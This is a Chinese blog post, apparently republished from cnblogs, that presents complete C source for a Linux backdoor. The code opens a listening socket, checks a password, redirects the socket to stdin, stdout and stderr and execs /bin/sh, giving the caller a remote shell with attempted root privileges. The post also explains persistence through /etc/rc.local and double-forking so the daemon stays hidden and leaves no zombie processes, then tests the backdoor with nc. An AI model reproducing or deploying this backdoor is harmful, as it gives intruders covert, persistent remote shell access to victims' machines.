博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一个简单的Linux后门程序的实现
阅读量:6880 次
发布时间:2019-06-27

本文共 4340 字,大约阅读时间需要 14 分钟。

      该程序实质是一个简单的socket编程,在受害方上运行攻击代码(后门进程),通过socket打开一个预设端口,并监听,等待攻击方的链接。一旦攻击方通过网络链接工具试图链接该socket,那么后门进程立刻fork一个子进程来处理链接请求。处理请求的行为即用exec函数打开一个shell来代替本子进程,并将本进程的标准输入、输出、出错文件描述符重定向到该套接字上,这样就实现了攻击方远程得到了受害方的一个shell。

int main(int argc, char **argv){    int i, listenfd, connfd;        /*listenfd为主进程监听的套接字,connfd为TCP连接后的套接字*/    pid_t pid;    char buf[MAXLINE];    socklen_t clilen;    struct sockaddr_in s_addr;    struct sockaddr_in c_addr;     setuid(0);                     /*为了保险,我们将通过setuid函数使得程序以拥有者身份的权限运行*/    setgid(0);    seteuid(0);    setegid(0);//    daemon(0,0);                    /*通过daemon函数可以把本程序从终端设备下脱离出来变成守护进程,如果系统启动时加载本程序就无需这个函数*/    listenfd = socket(AF_INET,SOCK_STREAM,0);                 /*创建套接字*/    if (listenfd == -1){        printf("socket failed!");        exit(1);    }    bzero(&s_addr,sizeof(s_addr));    s_addr.sin_family=AF_INET;    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);    s_addr.sin_port=htons(PORT);    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){        printf("bind failed!\n");        exit(1);    }    if (listen(listenfd, 20)==-1){                            /*监听套接字*/        printf("listen failed!");        exit(1);    }    clilen = sizeof(c_addr);    while(1){        connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻击者发起链接*/        pid = fork();                                      /*创建子进程*/        if(!pid)        {            if((pid = fork()) > 0)                         /*创建孙进程*/            {                exit(0);                          /*子进程终结*/            }else if(!pid){                       /*孙进程处理链接请求*/                close(listenfd);                  /*关闭除要处理的套接字外的所有描述符*/                write(connfd, ENTERPASS, strlen(ENTERPASS));                memset(buf,'\0', MAXLINE);                read(connfd, buf, MAXLINE);                if (strncmp(buf,PASSWORD,5) !=0){                    close(connfd);                    exit(0);                }else{                    write(connfd, WELCOME, strlen(WELCOME));                    dup2(connfd,0);               /*将标准输入、输出、出错重定向到我们的套接字上*/                    dup2(connfd,1);               /*实质是套接字的复制*/                    dup2(connfd,2);                    execl("/bin/sh", "mysh", (char *) 0);      /*打开一个shell代替本进程*/                }            }        }        close(connfd);        if (waitpid(pid, NULL, 0) != pid)                     /*父进程等待回收子进程*/            printf("waitpid error");    }}

有几点细节需要注意

      首先攻击程序通过启动脚本在开机后就在后台作为守护进程运行,守护进程的子进程依然是守护进程,使得本进程不容易被发现。

      将一个程序在开机后作为守护进程执行的方法很简单,只需在启动脚本中增加对应可执行文件的路径和文件名即可。首先将自己的程序编译通过生成可执行文件,将可执行文件放到某一个目录下(如/usr/bin/),然后在启动脚本中增加一行:

$vi /etc/rc.local /usr/bin/filename

当然从一个shell进程打开的进程可以通过Linux下提供的daemon函数实现,其实质是fork和setsid的组合。daemon的实现大致如下:

int daemon( int nochdir,  int noclose ){   pid_t pid;   if ( !nochdir && chdir("/") != 0 ) //如果nochdir=0,那么改变到"/"根目录       return -1;      if ( !noclose ) //如果没有noclose标志   {        int fd = open("/dev/null", O_RDWR);         if ( fd  <  0 )            return -1;       /* 重定向标准输入、输出、错误 到/dev/null,          键盘的输入将对进程无任何影响,进程的输出也不会输出到终端       */    dup(fd, 0);    dup(fd, 1);    dup(fd, 2);         close(fd);}   pid = fork();  //创建子进程.   if (pid  <  0)  //失败      return -1;   if (pid > 0)       _exit(0); //返回执行的是父进程,那么父进程退出,让子进程变成真正的孤儿进程.//创建的 daemon子进程执行到这里了   if ( setsid()  < 0 )   //创建新的会话,并使得子进程成为新会话的领头进程      return -1;   return 0;  //成功创建daemon子进程}

      首先调用fork,然后终止父进程。如果本进程是从前台作为一个shell命令启动的,当父进程终止时,shell就认为该命令已执行完毕。这样子进程就自动在后台运行。另外,子进程继承了父进程的进程组ID,不过它有自己的进程ID。这就保证子进程不是一个进程组的头进程,这是接下去调用setsid的必要条件。setsid用于创建一个新的会话(session),当前进程变为新会话的会话头进程以及新进程的进程组头进程,从而不再有控制终端。

       daemon函数给出的步骤到此为止,然而当一个会话头进程打开一个终端设备时,该终端自动成为这个会话头进程的控制终端。史蒂芬告诉我们,在setsid之后我们需要再次fork,再次fork的目的是确保本守护进程不是一个会话头进程,将来即使打开一个控制终端,也不会自动获得控制终端。

       其次是关于产生僵尸进程的问题,程序原本的想法是主进程始终监听,当有连接则fork一个子进程进行处理,鉴于主进程要并发处理多个连接,故不能在fork之后调用wait或waitpid来回收子进程,这就出现了问题,那就是子进程结束之后父进程没有回收它,使得产生僵尸进程,当然如果在子进程中如果调用exec成功后用shell代替当前子进程就没有这个问题,但是如果在调用exec前发生错误,比如密码输入错误,此时子进程死掉之后没有进程为它回收状态信息,这时候就会产生僵尸进程,从攻击者看来显得容易暴露身份。解决的办法有若干个,其中一种简单是方法就是,主进程在fork后调用wait或waitpid,在子进程中再次调用fork,产生孙进程,而子进程马上终结,这时候父进程回收子进程。而孙进程由于死了子进程,而有init进程接管,由init进程对孙进程进行回收。当然,处理僵尸进程的方法不止一种,详细请参见http://www.cnblogs.com/big-xuyue/p/3590680.html 以及 http://www.cnblogs.com/Anker/p/3271773.html

       最后我们可以通过nc工具进程测试:

$nc -vv localhost 5669

 

转载于:https://www.cnblogs.com/big-xuyue/p/3632731.html

你可能感兴趣的文章
关于坑爹的编解码问题
查看>>
服务器渲染和客户端渲染学习笔记
查看>>
orcale 匿名代码块
查看>>
设计模式-代理
查看>>
Java HotSpot VM Options 参数设置
查看>>
java 生成注释文档
查看>>
Linux内存管理--基本概念【转】
查看>>
深入理解CMA【转】
查看>>
kmalloc vmalloc kzalloc malloc 和 get_free_page()【转】
查看>>
Spring @Value注解使用${}进行注入(转)
查看>>
从HTTL模板引擎看软件设计原则
查看>>
SpringCloud2.0
查看>>
Java 9 逆天的十大新特性
查看>>
加载中提示
查看>>
javascript基础修炼(3)—What's this(下)
查看>>
正则表达式用法简介与速查
查看>>
App 开发:Hybrid 架构下的 HTML5 应用加速方案
查看>>
软件工程综合实践阶段小结
查看>>
Tensorflow学习笔记(1):tf.slice()函数使用
查看>>
ORA-01102的解决办法
查看>>